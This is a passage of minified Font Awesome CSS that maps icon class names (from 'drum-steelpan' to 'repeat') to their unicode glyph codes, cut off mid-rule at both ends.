}.fa-drum-steelpan:before{content:"\f56a"}.fa-drumstick-bite:before{content:"\f6d7"}.fa-dumbbell:before{content:"\f44b"}.fa-dumpster:before{content:"\f793"}.fa-dumpster-fire:before{content:"\f794"}.fa-dungeon:before{content:"\f6d9"}.fa-e:before{content:"\45"}.fa-deaf:before,.fa-deafness:before,.fa-ear-deaf:before,.fa-hard-of-hearing:before{content:"\f2a4"}.fa-assistive-listening-systems:before,.fa-ear-listen:before{content:"\f2a2"}.fa-earth-africa:before,.fa-globe-africa:before{content:"\f57c"}.fa-earth-america:before,.fa-earth-americas:before,.fa-earth:before,.fa-globe-americas:before{content:"\f57d"}.fa-earth-asia:before,.fa-globe-asia:before{content:"\f57e"}.fa-earth-europe:before,.fa-globe-europe:before{content:"\f7a2"}.fa-earth-oceania:before,.fa-globe-oceania:before{content:"\e47b"}.fa-egg:before{content:"\f7fb"}.fa-eject:before{content:"\f052"}.fa-elevator:before{content:"\e16d"}.fa-ellipsis-h:before,.fa-ellipsis:before{content:"\f141"}.fa-ellipsis-v:before,.fa-ellipsis-vertical:before{content:"\f142"}.fa-envelope:before{content:"\f0e0"}.fa-envelope-circle-check:before{content:"\e4e8"}.fa-envelope-open:before{content:"\f2b6"}.fa-envelope-open-text:before{content:"\f658"}.fa-envelopes-bulk:before,.fa-mail-bulk:before{content:"\f674"}.fa-equals:before{content:"\3d"}.fa-eraser:before{content:"\f12d"}.fa-ethernet:before{content:"\f796"}.fa-eur:before,.fa-euro-sign:before,.fa-euro:before{content:"\f153"}.fa-exclamation:before{content:"\21"}.fa-expand:before{content:"\f065"}.fa-explosion:before{content:"\e4e9"}.fa-eye:before{content:"\f06e"}.fa-eye-dropper-empty:before,.fa-eye-dropper:before,.fa-eyedropper:before{content:"\f1fb"}.fa-eye-low-vision:before,.fa-low-vision:before{content:"\f2a8"}.fa-eye-slash:before{content:"\f070"}.fa-f:before{content:"\46"}.fa-angry:before,.fa-face-angry:before{content:"\f556"}.fa-dizzy:before,.fa-face-dizzy:before{content:"\f567"}.fa-face-flushed:before,.fa-flushed:before{content:"\f579"}.fa-face-frown:before,.fa-frown:before{content:"\f119"}.fa-face-frown-open:before,.fa-frown-open:before{content:"\f57a"}.fa-face-grimace:before,.fa-grimace:before{content:"\f57f"}.fa-face-grin:before,.fa-grin:before{content:"\f580"}.fa-face-grin-beam:before,.fa-grin-beam:before{content:"\f582"}.fa-face-grin-beam-sweat:before,.fa-grin-beam-sweat:before{content:"\f583"}.fa-face-grin-hearts:before,.fa-grin-hearts:before{content:"\f584"}.fa-face-grin-squint:before,.fa-grin-squint:before{content:"\f585"}.fa-face-grin-squint-tears:before,.fa-grin-squint-tears:before{content:"\f586"}.fa-face-grin-stars:before,.fa-grin-stars:before{content:"\f587"}.fa-face-grin-tears:before,.fa-grin-tears:before{content:"\f588"}.fa-face-grin-tongue:before,.fa-grin-tongue:before{content:"\f589"}.fa-face-grin-tongue-squint:before,.fa-grin-tongue-squint:before{content:"\f58a"}.fa-face-grin-tongue-wink:before,.fa-grin-tongue-wink:before{content:"\f58b"}.fa-face-grin-wide:before,.fa-grin-alt:before{content:"\f581"}.fa-face-grin-wink:before,.fa-grin-wink:before{content:"\f58c"}.fa-face-kiss:before,.fa-kiss:before{content:"\f596"}.fa-face-kiss-beam:before,.fa-kiss-beam:before{content:"\f597"}.fa-face-kiss-wink-heart:before,.fa-kiss-wink-heart:before{content:"\f598"}.fa-face-laugh:before,.fa-laugh:before{content:"\f599"}.fa-face-laugh-beam:before,.fa-laugh-beam:before{content:"\f59a"}.fa-face-laugh-squint:before,.fa-laugh-squint:before{content:"\f59b"}.fa-face-laugh-wink:before,.fa-laugh-wink:before{content:"\f59c"}.fa-face-meh:before,.fa-meh:before{content:"\f11a"}.fa-face-meh-blank:before,.fa-meh-blank:before{content:"\f5a4"}.fa-face-rolling-eyes:before,.fa-meh-rolling-eyes:before{content:"\f5a5"}.fa-face-sad-cry:before,.fa-sad-cry:before{content:"\f5b3"}.fa-face-sad-tear:before,.fa-sad-tear:before{content:"\f5b4"}.fa-face-smile:before,.fa-smile:before{content:"\f118"}.fa-face-smile-beam:before,.fa-smile-beam:before{content:"\f5b8"}.fa-face-smile-wink:before,.fa-smile-wink:before{content:"\f4da"}.fa-face-surprise:before,.fa-surprise:before{content:"\f5c2"}.fa-face-tired:before,.fa-tired:before{content:"\f5c8"}.fa-fan:before{content:"\f863"}.fa-faucet:before{content:"\e005"}.fa-faucet-drip:before{content:"\e006"}.fa-fax:before{content:"\f1ac"}.fa-feather:before{content:"\f52d"}.fa-feather-alt:before,.fa-feather-pointed:before{content:"\f56b"}.fa-ferry:before{content:"\e4ea"}.fa-file:before{content:"\f15b"}.fa-file-arrow-down:before,.fa-file-download:before{content:"\f56d"}.fa-file-arrow-up:before,.fa-file-upload:before{content:"\f574"}.fa-file-audio:before{content:"\f1c7"}.fa-file-circle-check:before{content:"\e493"}.fa-file-circle-exclamation:before{content:"\e4eb"}.fa-file-circle-minus:before{content:"\e4ed"}.fa-file-circle-plus:before{content:"\e4ee"}.fa-file-circle-question:before{content:"\e4ef"}.fa-file-circle-xmark:before{content:"\e494"}.fa-file-code:before{content:"\f1c9"}.fa-file-contract:before{content:"\f56c"}.fa-file-csv:before{content:"\f6dd"}.fa-file-excel:before{content:"\f1c3"}.fa-arrow-right-from-file:before,.fa-file-export:before{content:"\f56e"}.fa-file-image:before{content:"\f1c5"}.fa-arrow-right-to-file:before,.fa-file-import:before{content:"\f56f"}.fa-file-invoice:before{content:"\f570"}.fa-file-invoice-dollar:before{content:"\f571"}.fa-file-alt:before,.fa-file-lines:before,.fa-file-text:before{content:"\f15c"}.fa-file-medical:before{content:"\f477"}.fa-file-pdf:before{content:"\f1c1"}.fa-file-edit:before,.fa-file-pen:before{content:"\f31c"}.fa-file-powerpoint:before{content:"\f1c4"}.fa-file-prescription:before{content:"\f572"}.fa-file-shield:before{content:"\e4f0"}.fa-file-signature:before{content:"\f573"}.fa-file-video:before{content:"\f1c8"}.fa-file-medical-alt:before,.fa-file-waveform:before{content:"\f478"}.fa-file-word:before{content:"\f1c2"}.fa-file-archive:before,.fa-file-zipper:before{content:"\f1c6"}.fa-fill:before{content:"\f575"}.fa-fill-drip:before{content:"\f576"}.fa-film:before{content:"\f008"}.fa-filter:before{content:"\f0b0"}.fa-filter-circle-dollar:before,.fa-funnel-dollar:before{content:"\f662"}.fa-filter-circle-xmark:before{content:"\e17b"}.fa-fingerprint:before{content:"\f577"}.fa-fire:before{content:"\f06d"}.fa-fire-burner:before{content:"\e4f1"}.fa-fire-extinguisher:before{content:"\f134"}.fa-fire-alt:before,.fa-fire-flame-curved:before{content:"\f7e4"}.fa-burn:before,.fa-fire-flame-simple:before{content:"\f46a"}.fa-fish:before{content:"\f578"}.fa-fish-fins:before{content:"\e4f2"}.fa-flag:before{content:"\f024"}.fa-flag-checkered:before{content:"\f11e"}.fa-flag-usa:before{content:"\f74d"}.fa-flask:before{content:"\f0c3"}.fa-flask-vial:before{content:"\e4f3"}.fa-floppy-disk:before,.fa-save:before{content:"\f0c7"}.fa-florin-sign:before{content:"\e184"}.fa-folder-blank:before,.fa-folder:before{content:"\f07b"}.fa-folder-closed:before{content:"\e185"}.fa-folder-minus:before{content:"\f65d"}.fa-folder-open:before{content:"\f07c"}.fa-folder-plus:before{content:"\f65e"}.fa-folder-tree:before{content:"\f802"}.fa-font:before{content:"\f031"}.fa-football-ball:before,.fa-football:before{content:"\f44e"}.fa-forward:before{content:"\f04e"}.fa-fast-forward:before,.fa-forward-fast:before{content:"\f050"}.fa-forward-step:before,.fa-step-forward:before{content:"\f051"}.fa-franc-sign:before{content:"\e18f"}.fa-frog:before{content:"\f52e"}.fa-futbol-ball:before,.fa-futbol:before,.fa-soccer-ball:before{content:"\f1e3"}.fa-g:before{content:"\47"}.fa-gamepad:before{content:"\f11b"}.fa-gas-pump:before{content:"\f52f"}.fa-dashboard:before,.fa-gauge-med:before,.fa-gauge:before,.fa-tachometer-alt-average:before{content:"\f624"}.fa-gauge-high:before,.fa-tachometer-alt-fast:before,.fa-tachometer-alt:before{content:"\f625"}.fa-gauge-simple-med:before,.fa-gauge-simple:before,.fa-tachometer-average:before{content:"\f629"}.fa-gauge-simple-high:before,.fa-tachometer-fast:before,.fa-tachometer:before{content:"\f62a"}.fa-gavel:before,.fa-legal:before{content:"\f0e3"}.fa-cog:before,.fa-gear:before{content:"\f013"}.fa-cogs:before,.fa-gears:before{content:"\f085"}.fa-gem:before{content:"\f3a5"}.fa-genderless:before{content:"\f22d"}.fa-ghost:before{content:"\f6e2"}.fa-gift:before{content:"\f06b"}.fa-gifts:before{content:"\f79c"}.fa-glass-water:before{content:"\e4f4"}.fa-glass-water-droplet:before{content:"\e4f5"}.fa-glasses:before{content:"\f530"}.fa-globe:before{content:"\f0ac"}.fa-golf-ball-tee:before,.fa-golf-ball:before{content:"\f450"}.fa-gopuram:before{content:"\f664"}.fa-graduation-cap:before,.fa-mortar-board:before{content:"\f19d"}.fa-greater-than:before{content:"\3e"}.fa-greater-than-equal:before{content:"\f532"}.fa-grip-horizontal:before,.fa-grip:before{content:"\f58d"}.fa-grip-lines:before{content:"\f7a4"}.fa-grip-lines-vertical:before{content:"\f7a5"}.fa-grip-vertical:before{content:"\f58e"}.fa-group-arrows-rotate:before{content:"\e4f6"}.fa-guarani-sign:before{content:"\e19a"}.fa-guitar:before{content:"\f7a6"}.fa-gun:before{content:"\e19b"}.fa-h:before{content:"\48"}.fa-hammer:before{content:"\f6e3"}.fa-hamsa:before{content:"\f665"}.fa-hand-paper:before,.fa-hand:before{content:"\f256"}.fa-hand-back-fist:before,.fa-hand-rock:before{content:"\f255"}.fa-allergies:before,.fa-hand-dots:before{content:"\f461"}.fa-fist-raised:before,.fa-hand-fist:before{content:"\f6de"}.fa-hand-holding:before{content:"\f4bd"}.fa-hand-holding-dollar:before,.fa-hand-holding-usd:before{content:"\f4c0"}.fa-hand-holding-droplet:before,.fa-hand-holding-water:before{content:"\f4c1"}.fa-hand-holding-hand:before{content:"\e4f7"}.fa-hand-holding-heart:before{content:"\f4be"}.fa-hand-holding-medical:before{content:"\e05c"}.fa-hand-lizard:before{content:"\f258"}.fa-hand-middle-finger:before{content:"\f806"}.fa-hand-peace:before{content:"\f25b"}.fa-hand-point-down:before{content:"\f0a7"}.fa-hand-point-left:before{content:"\f0a5"}.fa-hand-point-right:before{content:"\f0a4"}.fa-hand-point-up:before{content:"\f0a6"}.fa-hand-pointer:before{content:"\f25a"}.fa-hand-scissors:before{content:"\f257"}.fa-hand-sparkles:before{content:"\e05d"}.fa-hand-spock:before{content:"\f259"}.fa-handcuffs:before{content:"\e4f8"}.fa-hands:before,.fa-sign-language:before,.fa-signing:before{content:"\f2a7"}.fa-american-sign-language-interpreting:before,.fa-asl-interpreting:before,.fa-hands-american-sign-language-interpreting:before,.fa-hands-asl-interpreting:before{content:"\f2a3"}.fa-hands-bound:before{content:"\e4f9"}.fa-hands-bubbles:before,.fa-hands-wash:before{content:"\e05e"}.fa-hands-clapping:before{content:"\e1a8"}.fa-hands-holding:before{content:"\f4c2"}.fa-hands-holding-child:before{content:"\e4fa"}.fa-hands-holding-circle:before{content:"\e4fb"}.fa-hands-praying:before,.fa-praying-hands:before{content:"\f684"}.fa-handshake:before{content:"\f2b5"}.fa-hands-helping:before,.fa-handshake-angle:before{content:"\f4c4"}.fa-handshake-alt:before,.fa-handshake-simple:before{content:"\f4c6"}.fa-handshake-alt-slash:before,.fa-handshake-simple-slash:before{content:"\e05f"}.fa-handshake-slash:before{content:"\e060"}.fa-hanukiah:before{content:"\f6e6"}.fa-hard-drive:before,.fa-hdd:before{content:"\f0a0"}.fa-hashtag:before{content:"\23"}.fa-hat-cowboy:before{content:"\f8c0"}.fa-hat-cowboy-side:before{content:"\f8c1"}.fa-hat-wizard:before{content:"\f6e8"}.fa-head-side-cough:before{content:"\e061"}.fa-head-side-cough-slash:before{content:"\e062"}.fa-head-side-mask:before{content:"\e063"}.fa-head-side-virus:before{content:"\e064"}.fa-header:before,.fa-heading:before{content:"\f1dc"}.fa-headphones:before{content:"\f025"}.fa-headphones-alt:before,.fa-headphones-simple:before{content:"\f58f"}.fa-headset:before{content:"\f590"}.fa-heart:before{content:"\f004"}.fa-heart-circle-bolt:before{content:"\e4fc"}.fa-heart-circle-check:before{content:"\e4fd"}.fa-heart-circle-exclamation:before{content:"\e4fe"}.fa-heart-circle-minus:before{content:"\e4ff"}.fa-heart-circle-plus:before{content:"\e500"}.fa-heart-circle-xmark:before{content:"\e501"}.fa-heart-broken:before,.fa-heart-crack:before{content:"\f7a9"}.fa-heart-pulse:before,.fa-heartbeat:before{content:"\f21e"}.fa-helicopter:before{content:"\f533"}.fa-helicopter-symbol:before{content:"\e502"}.fa-hard-hat:before,.fa-hat-hard:before,.fa-helmet-safety:before{content:"\f807"}.fa-helmet-un:before{content:"\e503"}.fa-highlighter:before{content:"\f591"}.fa-hill-avalanche:before{content:"\e507"}.fa-hill-rockslide:before{content:"\e508"}.fa-hippo:before{content:"\f6ed"}.fa-hockey-puck:before{content:"\f453"}.fa-holly-berry:before{content:"\f7aa"}.fa-horse:before{content:"\f6f0"}.fa-horse-head:before{content:"\f7ab"}.fa-hospital-alt:before,.fa-hospital-wide:before,.fa-hospital:before{content:"\f0f8"}.fa-hospital-user:before{content:"\f80d"}.fa-hot-tub-person:before,.fa-hot-tub:before{content:"\f593"}.fa-hotdog:before{content:"\f80f"}.fa-hotel:before{content:"\f594"}.fa-hourglass-2:before,.fa-hourglass-half:before,.fa-hourglass:before{content:"\f254"}.fa-hourglass-empty:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-home-alt:before,.fa-home-lg-alt:before,.fa-home:before,.fa-house:before{content:"\f015"}.fa-home-lg:before,.fa-house-chimney:before{content:"\e3af"}.fa-house-chimney-crack:before,.fa-house-damage:before{content:"\f6f1"}.fa-clinic-medical:before,.fa-house-chimney-medical:before{content:"\f7f2"}.fa-house-chimney-user:before{content:"\e065"}.fa-house-chimney-window:before{content:"\e00d"}.fa-house-circle-check:before{content:"\e509"}.fa-house-circle-exclamation:before{content:"\e50a"}.fa-house-circle-xmark:before{content:"\e50b"}.fa-house-crack:before{content:"\e3b1"}.fa-house-fire:before{content:"\e50c"}.fa-house-flag:before{content:"\e50d"}.fa-house-flood-water:before{content:"\e50e"}.fa-house-flood-water-circle-arrow-right:before{content:"\e50f"}.fa-house-laptop:before,.fa-laptop-house:before{content:"\e066"}.fa-house-lock:before{content:"\e510"}.fa-house-medical:before{content:"\e3b2"}.fa-house-medical-circle-check:before{content:"\e511"}.fa-house-medical-circle-exclamation:before{content:"\e512"}.fa-house-medical-circle-xmark:before{content:"\e513"}.fa-house-medical-flag:before{content:"\e514"}.fa-house-signal:before{content:"\e012"}.fa-house-tsunami:before{content:"\e515"}.fa-home-user:before,.fa-house-user:before{content:"\e1b0"}.fa-hryvnia-sign:before,.fa-hryvnia:before{content:"\f6f2"}.fa-hurricane:before{content:"\f751"}.fa-i:before{content:"\49"}.fa-i-cursor:before{content:"\f246"}.fa-ice-cream:before{content:"\f810"}.fa-icicles:before{content:"\f7ad"}.fa-heart-music-camera-bolt:before,.fa-icons:before{content:"\f86d"}.fa-id-badge:before{content:"\f2c1"}.fa-drivers-license:before,.fa-id-card:before{content:"\f2c2"}.fa-id-card-alt:before,.fa-id-card-clip:before{content:"\f47f"}.fa-igloo:before{content:"\f7ae"}.fa-image:before{content:"\f03e"}.fa-image-portrait:before,.fa-portrait:before{content:"\f3e0"}.fa-images:before{content:"\f302"}.fa-inbox:before{content:"\f01c"}.fa-indent:before{content:"\f03c"}.fa-indian-rupee-sign:before,.fa-indian-rupee:before,.fa-inr:before{content:"\e1bc"}.fa-industry:before{content:"\f275"}.fa-infinity:before{content:"\f534"}.fa-info:before{content:"\f129"}.fa-italic:before{content:"\f033"}.fa-j:before{content:"\4a"}.fa-jar:before{content:"\e516"}.fa-jar-wheat:before{content:"\e517"}.fa-jedi:before{content:"\f669"}.fa-fighter-jet:before,.fa-jet-fighter:before{content:"\f0fb"}.fa-jet-fighter-up:before{content:"\e518"}.fa-joint:before{content:"\f595"}.fa-jug-detergent:before{content:"\e519"}.fa-k:before{content:"\4b"}.fa-kaaba:before{content:"\f66b"}.fa-key:before{content:"\f084"}.fa-keyboard:before{content:"\f11c"}.fa-khanda:before{content:"\f66d"}.fa-kip-sign:before{content:"\e1c4"}.fa-first-aid:before,.fa-kit-medical:before{content:"\f479"}.fa-kitchen-set:before{content:"\e51a"}.fa-kiwi-bird:before{content:"\f535"}.fa-l:before{content:"\4c"}.fa-land-mine-on:before{content:"\e51b"}.fa-landmark:before{content:"\f66f"}.fa-landmark-alt:before,.fa-landmark-dome:before{content:"\f752"}.fa-landmark-flag:before{content:"\e51c"}.fa-language:before{content:"\f1ab"}.fa-laptop:before{content:"\f109"}.fa-laptop-code:before{content:"\f5fc"}.fa-laptop-file:before{content:"\e51d"}.fa-laptop-medical:before{content:"\f812"}.fa-lari-sign:before{content:"\e1c8"}.fa-layer-group:before{content:"\f5fd"}.fa-leaf:before{content:"\f06c"}.fa-left-long:before,.fa-long-arrow-alt-left:before{content:"\f30a"}.fa-arrows-alt-h:before,.fa-left-right:before{content:"\f337"}.fa-lemon:before{content:"\f094"}.fa-less-than:before{content:"\3c"}.fa-less-than-equal:before{content:"\f537"}.fa-life-ring:before{content:"\f1cd"}.fa-lightbulb:before{content:"\f0eb"}.fa-lines-leaning:before{content:"\e51e"}.fa-chain:before,.fa-link:before{content:"\f0c1"}.fa-chain-broken:before,.fa-chain-slash:before,.fa-link-slash:before,.fa-unlink:before{content:"\f127"}.fa-lira-sign:before{content:"\f195"}.fa-list-squares:before,.fa-list:before{content:"\f03a"}.fa-list-check:before,.fa-tasks:before{content:"\f0ae"}.fa-list-1-2:before,.fa-list-numeric:before,.fa-list-ol:before{content:"\f0cb"}.fa-list-dots:before,.fa-list-ul:before{content:"\f0ca"}.fa-litecoin-sign:before{content:"\e1d3"}.fa-location-arrow:before{content:"\f124"}.fa-location-crosshairs:before,.fa-location:before{content:"\f601"}.fa-location-dot:before,.fa-map-marker-alt:before{content:"\f3c5"}.fa-location-pin:before,.fa-map-marker:before{content:"\f041"}.fa-location-pin-lock:before{content:"\e51f"}.fa-lock:before{content:"\f023"}.fa-lock-open:before{content:"\f3c1"}.fa-locust:before{content:"\e520"}.fa-lungs:before{content:"\f604"}.fa-lungs-virus:before{content:"\e067"}.fa-m:before{content:"\4d"}.fa-magnet:before{content:"\f076"}.fa-magnifying-glass:before,.fa-search:before{content:"\f002"}.fa-magnifying-glass-arrow-right:before{content:"\e521"}.fa-magnifying-glass-chart:before{content:"\e522"}.fa-magnifying-glass-dollar:before,.fa-search-dollar:before{content:"\f688"}.fa-magnifying-glass-location:before,.fa-search-location:before{content:"\f689"}.fa-magnifying-glass-minus:before,.fa-search-minus:before{content:"\f010"}.fa-magnifying-glass-plus:before,.fa-search-plus:before{content:"\f00e"}.fa-manat-sign:before{content:"\e1d5"}.fa-map:before{content:"\f279"}.fa-map-location:before,.fa-map-marked:before{content:"\f59f"}.fa-map-location-dot:before,.fa-map-marked-alt:before{content:"\f5a0"}.fa-map-pin:before{content:"\f276"}.fa-marker:before{content:"\f5a1"}.fa-mars:before{content:"\f222"}.fa-mars-and-venus:before{content:"\f224"}.fa-mars-and-venus-burst:before{content:"\e523"}.fa-mars-double:before{content:"\f227"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-h:before,.fa-mars-stroke-right:before{content:"\f22b"}.fa-mars-stroke-up:before,.fa-mars-stroke-v:before{content:"\f22a"}.fa-glass-martini-alt:before,.fa-martini-glass:before{content:"\f57b"}.fa-cocktail:before,.fa-martini-glass-citrus:before{content:"\f561"}.fa-glass-martini:before,.fa-martini-glass-empty:before{content:"\f000"}.fa-mask:before{content:"\f6fa"}.fa-mask-face:before{content:"\e1d7"}.fa-mask-ventilator:before{content:"\e524"}.fa-masks-theater:before,.fa-theater-masks:before{content:"\f630"}.fa-mattress-pillow:before{content:"\e525"}.fa-expand-arrows-alt:before,.fa-maximize:before{content:"\f31e"}.fa-medal:before{content:"\f5a2"}.fa-memory:before{content:"\f538"}.fa-menorah:before{content:"\f676"}.fa-mercury:before{content:"\f223"}.fa-comment-alt:before,.fa-message:before{content:"\f27a"}.fa-meteor:before{content:"\f753"}.fa-microchip:before{content:"\f2db"}.fa-microphone:before{content:"\f130"}.fa-microphone-alt:before,.fa-microphone-lines:before{content:"\f3c9"}.fa-microphone-alt-slash:before,.fa-microphone-lines-slash:before{content:"\f539"}.fa-microphone-slash:before{content:"\f131"}.fa-microscope:before{content:"\f610"}.fa-mill-sign:before{content:"\e1ed"}.fa-compress-arrows-alt:before,.fa-minimize:before{content:"\f78c"}.fa-minus:before,.fa-subtract:before{content:"\f068"}.fa-mitten:before{content:"\f7b5"}.fa-mobile-android:before,.fa-mobile-phone:before,.fa-mobile:before{content:"\f3ce"}.fa-mobile-button:before{content:"\f10b"}.fa-mobile-retro:before{content:"\e527"}.fa-mobile-android-alt:before,.fa-mobile-screen:before{content:"\f3cf"}.fa-mobile-alt:before,.fa-mobile-screen-button:before{content:"\f3cd"}.fa-money-bill:before{content:"\f0d6"}.fa-money-bill-1:before,.fa-money-bill-alt:before{content:"\f3d1"}.fa-money-bill-1-wave:before,.fa-money-bill-wave-alt:before{content:"\f53b"}.fa-money-bill-transfer:before{content:"\e528"}.fa-money-bill-trend-up:before{content:"\e529"}.fa-money-bill-wave:before{content:"\f53a"}.fa-money-bill-wheat:before{content:"\e52a"}.fa-money-bills:before{content:"\e1f3"}.fa-money-check:before{content:"\f53c"}.fa-money-check-alt:before,.fa-money-check-dollar:before{content:"\f53d"}.fa-monument:before{content:"\f5a6"}.fa-moon:before{content:"\f186"}.fa-mortar-pestle:before{content:"\f5a7"}.fa-mosque:before{content:"\f678"}.fa-mosquito:before{content:"\e52b"}.fa-mosquito-net:before{content:"\e52c"}.fa-motorcycle:before{content:"\f21c"}.fa-mound:before{content:"\e52d"}.fa-mountain:before{content:"\f6fc"}.fa-mountain-city:before{content:"\e52e"}.fa-mountain-sun:before{content:"\e52f"}.fa-mug-hot:before{content:"\f7b6"}.fa-coffee:before,.fa-mug-saucer:before{content:"\f0f4"}.fa-music:before{content:"\f001"}.fa-n:before{content:"\4e"}.fa-naira-sign:before{content:"\e1f6"}.fa-network-wired:before{content:"\f6ff"}.fa-neuter:before{content:"\f22c"}.fa-newspaper:before{content:"\f1ea"}.fa-not-equal:before{content:"\f53e"}.fa-note-sticky:before,.fa-sticky-note:before{content:"\f249"}.fa-notes-medical:before{content:"\f481"}.fa-o:before{content:"\4f"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-oil-can:before{content:"\f613"}.fa-oil-well:before{content:"\e532"}.fa-om:before{content:"\f679"}.fa-otter:before{content:"\f700"}.fa-dedent:before,.fa-outdent:before{content:"\f03b"}.fa-p:before{content:"\50"}.fa-pager:before{content:"\f815"}.fa-paint-roller:before{content:"\f5aa"}.fa-paint-brush:before,.fa-paintbrush:before{content:"\f1fc"}.fa-palette:before{content:"\f53f"}.fa-pallet:before{content:"\f482"}.fa-panorama:before{content:"\e209"}.fa-paper-plane:before{content:"\f1d8"}.fa-paperclip:before{content:"\f0c6"}.fa-parachute-box:before{content:"\f4cd"}.fa-paragraph:before{content:"\f1dd"}.fa-passport:before{content:"\f5ab"}.fa-file-clipboard:before,.fa-paste:before{content:"\f0ea"}.fa-pause:before{content:"\f04c"}.fa-paw:before{content:"\f1b0"}.fa-peace:before{content:"\f67c"}.fa-pen:before{content:"\f304"}.fa-pen-alt:before,.fa-pen-clip:before{content:"\f305"}.fa-pen-fancy:before{content:"\f5ac"}.fa-pen-nib:before{content:"\f5ad"}.fa-pen-ruler:before,.fa-pencil-ruler:before{content:"\f5ae"}.fa-edit:before,.fa-pen-to-square:before{content:"\f044"}.fa-pencil-alt:before,.fa-pencil:before{content:"\f303"}.fa-people-arrows-left-right:before,.fa-people-arrows:before{content:"\e068"}.fa-people-carry-box:before,.fa-people-carry:before{content:"\f4ce"}.fa-people-group:before{content:"\e533"}.fa-people-line:before{content:"\e534"}.fa-people-pulling:before{content:"\e535"}.fa-people-robbery:before{content:"\e536"}.fa-people-roof:before{content:"\e537"}.fa-pepper-hot:before{content:"\f816"}.fa-percent:before,.fa-percentage:before{content:"\25"}.fa-male:before,.fa-person:before{content:"\f183"}.fa-person-arrow-down-to-line:before{content:"\e538"}.fa-person-arrow-up-from-line:before{content:"\e539"}.fa-biking:before,.fa-person-biking:before{content:"\f84a"}.fa-person-booth:before{content:"\f756"}.fa-person-breastfeeding:before{content:"\e53a"}.fa-person-burst:before{content:"\e53b"}.fa-person-cane:before{content:"\e53c"}.fa-person-chalkboard:before{content:"\e53d"}.fa-person-circle-check:before{content:"\e53e"}.fa-person-circle-exclamation:before{content:"\e53f"}.fa-person-circle-minus:before{content:"\e540"}.fa-person-circle-plus:before{content:"\e541"}.fa-person-circle-question:before{content:"\e542"}.fa-person-circle-xmark:before{content:"\e543"}.fa-digging:before,.fa-person-digging:before{content:"\f85e"}.fa-diagnoses:before,.fa-person-dots-from-line:before{content:"\f470"}.fa-female:before,.fa-person-dress:before{content:"\f182"}.fa-person-dress-burst:before{content:"\e544"}.fa-person-drowning:before{content:"\e545"}.fa-person-falling:before{content:"\e546"}.fa-person-falling-burst:before{content:"\e547"}.fa-person-half-dress:before{content:"\e548"}.fa-person-harassing:before{content:"\e549"}.fa-hiking:before,.fa-person-hiking:before{content:"\f6ec"}.fa-person-military-pointing:before{content:"\e54a"}.fa-person-military-rifle:before{content:"\e54b"}.fa-person-military-to-person:before{content:"\e54c"}.fa-person-praying:before,.fa-pray:before{content:"\f683"}.fa-person-pregnant:before{content:"\e31e"}.fa-person-rays:before{content:"\e54d"}.fa-person-rifle:before{content:"\e54e"}.fa-person-running:before,.fa-running:before{content:"\f70c"}.fa-person-shelter:before{content:"\e54f"}.fa-person-skating:before,.fa-skating:before{content:"\f7c5"}.fa-person-skiing:before,.fa-skiing:before{content:"\f7c9"}.fa-person-skiing-nordic:before,.fa-skiing-nordic:before{content:"\f7ca"}.fa-person-snowboarding:before,.fa-snowboarding:before{content:"\f7ce"}.fa-person-swimming:before,.fa-swimmer:before{content:"\f5c4"}.fa-person-through-window:before{content:"\e433"}.fa-person-walking:before,.fa-walking:before{content:"\f554"}.fa-person-walking-arrow-loop-left:before{content:"\e551"}.fa-person-walking-arrow-right:before{content:"\e552"}.fa-person-walking-dashed-line-arrow-right:before{content:"\e553"}.fa-person-walking-luggage:before{content:"\e554"}.fa-blind:before,.fa-person-walking-with-cane:before{content:"\f29d"}.fa-peseta-sign:before{content:"\e221"}.fa-peso-sign:before{content:"\e222"}.fa-phone:before{content:"\f095"}.fa-phone-alt:before,.fa-phone-flip:before{content:"\f879"}.fa-phone-slash:before{content:"\f3dd"}.fa-phone-volume:before,.fa-volume-control-phone:before{content:"\f2a0"}.fa-photo-film:before,.fa-photo-video:before{content:"\f87c"}.fa-piggy-bank:before{content:"\f4d3"}.fa-pills:before{content:"\f484"}.fa-pizza-slice:before{content:"\f818"}.fa-place-of-worship:before{content:"\f67f"}.fa-plane:before{content:"\f072"}.fa-plane-arrival:before{content:"\f5af"}.fa-plane-circle-check:before{content:"\e555"}.fa-plane-circle-exclamation:before{content:"\e556"}.fa-plane-circle-xmark:before{content:"\e557"}.fa-plane-departure:before{content:"\f5b0"}.fa-plane-lock:before{content:"\e558"}.fa-plane-slash:before{content:"\e069"}.fa-plane-up:before{content:"\e22d"}.fa-plant-wilt:before{content:"\e43b"}.fa-plate-wheat:before{content:"\e55a"}.fa-play:before{content:"\f04b"}.fa-plug:before{content:"\f1e6"}.fa-plug-circle-bolt:before{content:"\e55b"}.fa-plug-circle-check:before{content:"\e55c"}.fa-plug-circle-exclamation:before{content:"\e55d"}.fa-plug-circle-minus:before{content:"\e55e"}.fa-plug-circle-plus:before{content:"\e55f"}.fa-plug-circle-xmark:before{content:"\e560"}.fa-add:before,.fa-plus:before{content:"\2b"}.fa-plus-minus:before{content:"\e43c"}.fa-podcast:before{content:"\f2ce"}.fa-poo:before{content:"\f2fe"}.fa-poo-bolt:before,.fa-poo-storm:before{content:"\f75a"}.fa-poop:before{content:"\f619"}.fa-power-off:before{content:"\f011"}.fa-prescription:before{content:"\f5b1"}.fa-prescription-bottle:before{content:"\f485"}.fa-prescription-bottle-alt:before,.fa-prescription-bottle-medical:before{content:"\f486"}.fa-print:before{content:"\f02f"}.fa-pump-medical:before{content:"\e06a"}.fa-pump-soap:before{content:"\e06b"}.fa-puzzle-piece:before{content:"\f12e"}.fa-q:before{content:"\51"}.fa-qrcode:before{content:"\f029"}.fa-question:before{content:"\3f"}.fa-quote-left-alt:before,.fa-quote-left:before{content:"\f10d"}.fa-quote-right-alt:before,.fa-quote-right:before{content:"\f10e"}.fa-r:before{content:"\52"}.fa-radiation:before{content:"\f7b9"}.fa-radio:before{content:"\f8d7"}.fa-rainbow:before{content:"\f75b"}.fa-ranking-star:before{content:"\e561"}.fa-receipt:before{content:"\f543"}.fa-record-vinyl:before{content:"\f8d9"}.fa-ad:before,.fa-rectangle-ad:before{content:"\f641"}.fa-list-alt:before,.fa-rectangle-list:before{content:"\f022"}.fa-rectangle-times:before,.fa-rectangle-xmark:before,.fa-times-rectangle:before,.fa-window-close:before{content:"\f410"}.fa-recycle:before{content:"\f1b8"}.fa-registered:before{content:"\f25d"}.fa-repeat:before{content:"\